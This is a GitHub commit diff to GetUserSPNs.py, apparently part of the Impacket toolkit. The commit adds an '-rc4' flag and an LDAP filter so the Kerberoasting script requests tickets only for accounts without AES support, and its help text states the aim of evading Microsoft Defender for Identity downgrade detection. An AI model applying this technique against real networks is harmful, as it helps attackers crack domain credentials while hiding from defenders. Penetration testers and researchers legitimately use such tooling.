Skip to content

Commit 3f8c102

Browse files
authored
Merge pull request #87 from b0bd0g/master
Update GetUserSPNs.py (#1)
2 parents 9ba5110 + b69f69a commit 3f8c102

File tree

1 file changed

+5
-0
lines changed

1 file changed

+5
-0
lines changed

examples/GetUserSPNs.py

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -91,6 +91,7 @@ def __init__(self, username, password, user_domain, target_domain, cmdLineOption
9191
self.__saveTGS = cmdLineOptions.save
9292
self.__requestUser = cmdLineOptions.request_user
9393
self.__stealth = cmdLineOptions.stealth
94+
self.__rc4 = cmdLineOptions.rc4
9495
if cmdLineOptions.hashes is not None:
9596
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
9697

@@ -253,6 +254,9 @@ def run(self):
253254
if self.__requestUser is not None:
254255
searchFilter += '(sAMAccountName:=%s)' % self.__requestUser
255256

257+
if self.__rc4 is True:
258+
searchFilter += '(!(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24))'
259+
256260
searchFilter += ')'
257261

258262
try:
@@ -447,6 +451,7 @@ def request_multiple_TGSs(self, usernames):
447451
help='Output filename to write ciphers in JtR/hashcat format. Auto selects -request')
448452
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output.')
449453
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
454+
parser.add_argument('-rc4', action='store_true', default=False, help='Only requests users who do not support AES (avoid MDI downgrade detection)')
450455

451456
group = parser.add_argument_group('authentication')
452457

0 commit comments

Comments
 (0)